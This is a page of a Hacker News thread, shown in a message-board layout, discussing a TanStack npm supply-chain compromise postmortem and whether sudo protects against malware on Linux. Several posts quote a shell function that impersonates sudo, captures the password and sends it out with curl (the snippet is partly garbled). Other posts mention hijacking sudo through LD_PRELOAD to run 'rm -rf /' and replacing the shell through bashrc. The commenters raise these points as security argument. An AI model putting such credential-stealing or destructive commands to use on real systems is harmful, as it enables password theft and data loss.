Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

331–340 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#331

Post by xlii »

lrvick wrote: post #179
eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Stupid thought.

Make alias called sdo that echoes sudo path and hash every time you use it to stderr.

That's security by obscurity though.

Re: Postmortem: TanStack NPM supply-chain compromise

#332

Post by lrvick »

fragmede wrote: post #309
exyi wrote: post #306

Earlier quoted context omitted.

Ok, so the malware runs a keylogger / clipboard logger, gets the password and runs sudo on it's own. Or replaces your shell by putting exec ~/hackedbash into your bashrc Password on sudo is only useful if you detect the infection before you run sudo

Could link it to a yubikey via pam.d so you need a fingerpress to authenticate.

And then the moment you authenticate, the fake sudo still executes its payload.

Yubikeys do not fix this issue.

Re: Postmortem: TanStack NPM supply-chain compromise

#333

Post by matsemann »

skissane wrote: post #112
meander_water wrote: post #60

Earlier quoted context omitted.

I don't understand why people were voting this comment down in the issue page

Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"

Or they're from Eridian.

Re: Postmortem: TanStack NPM supply-chain compromise

#334

Post by lrvick »

sinsudo wrote: post #295
mort96 wrote: post #290

Earlier quoted context omitted.

Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'. Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the…

The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis

You do not need sudo for installing software. Can just install to ~/.local.

Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this.

Even with systemd, you can use systemd --user.

Re: Postmortem: TanStack NPM supply-chain compromise

#335

Post by lrvick »

eviks wrote: post #308
sinsudo wrote: post #283

Earlier quoted context omitted.

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)

A simple LD_PRELOAD command can cause your shell to run "rm -rf /" when you type "/sudo".

If your unprivileged user is compromised, you are pretty hosed.

Re: Postmortem: TanStack NPM supply-chain compromise

#336

Post by lrvick »

GCUMstlyHarmls wrote: post #238
lrvick wrote: post #210

Earlier quoted context omitted.

Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production. You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.

I dont mean to be snarky, can you run `pacman -Syu` without root with "new" tech? Or do you mean in general on production systems or whatever?

Plenty of package managers can install to an arbitrary directory like ~/.local. Each user, or even each project, can have its own rootfs full of software.

The only things I tend to have running at the system level are a kernel and init and maybe openssh.

Re: Postmortem: TanStack NPM supply-chain compromise

#337

Post by FooBarWidget »

I really wonder wtf Github is doing. Cache poisoning issues like this are so easily solved at the platform level by ensuring that pull_request_target caches live can only write cache changes to a different namespace that cannot be read from normal workflows. Furthermore, the fact that the cache actions can write caches even though the workflow only has read permissions is just bad security design.

Another worry that I've had recently is that anybody who is able to get Github push access, can push new releases with malicious assets. Even if you have branch protection and environments, it doesn't do anything: the attacker can simply create a new workflow, push to a branch (which runs that workflow), and then the workflow creates a new release. No merge to main needed, pull request reviews bypassed. I want a policy that says "only this environment can create releases" (and "this environment can only be triggered by this workflow from this branch") but that's not possible.

Github, please step up.

Re: Postmortem: TanStack NPM supply-chain compromise

#338

Post by throwaway7356 »

sinsudo wrote: post #283
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Yeah, works well:

$ /usr/bin/sudo() { echo Not the real sudo.; }

$ /usr/bin/sudo

Not the real sudo.

And every other suggestion also doesn't work if the attacker can just replace the shell.

Re: Postmortem: TanStack NPM supply-chain compromise

#339

Post by ctippett »

FooBarWidget wrote: post #321
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

It would be great if 1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions. 2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

Fish shell has builtin[1], although sudo is not one of the commands it covers.

[1] https://fishshell.com/docs/current/cmds/builtin.html

Re: Postmortem: TanStack NPM supply-chain compromise

#340

Post by michaelmior »

lrvick wrote: post #334
sinsudo wrote: post #295

Earlier quoted context omitted.

The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis

You do not need sudo for installing software. Can just install to ~/.local. Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this. Even with systemd, you can use systemd --user.

That depends on what the software is. If you want to run a service that bonds to a privileged port for example, you need sudo.
Post reply on HN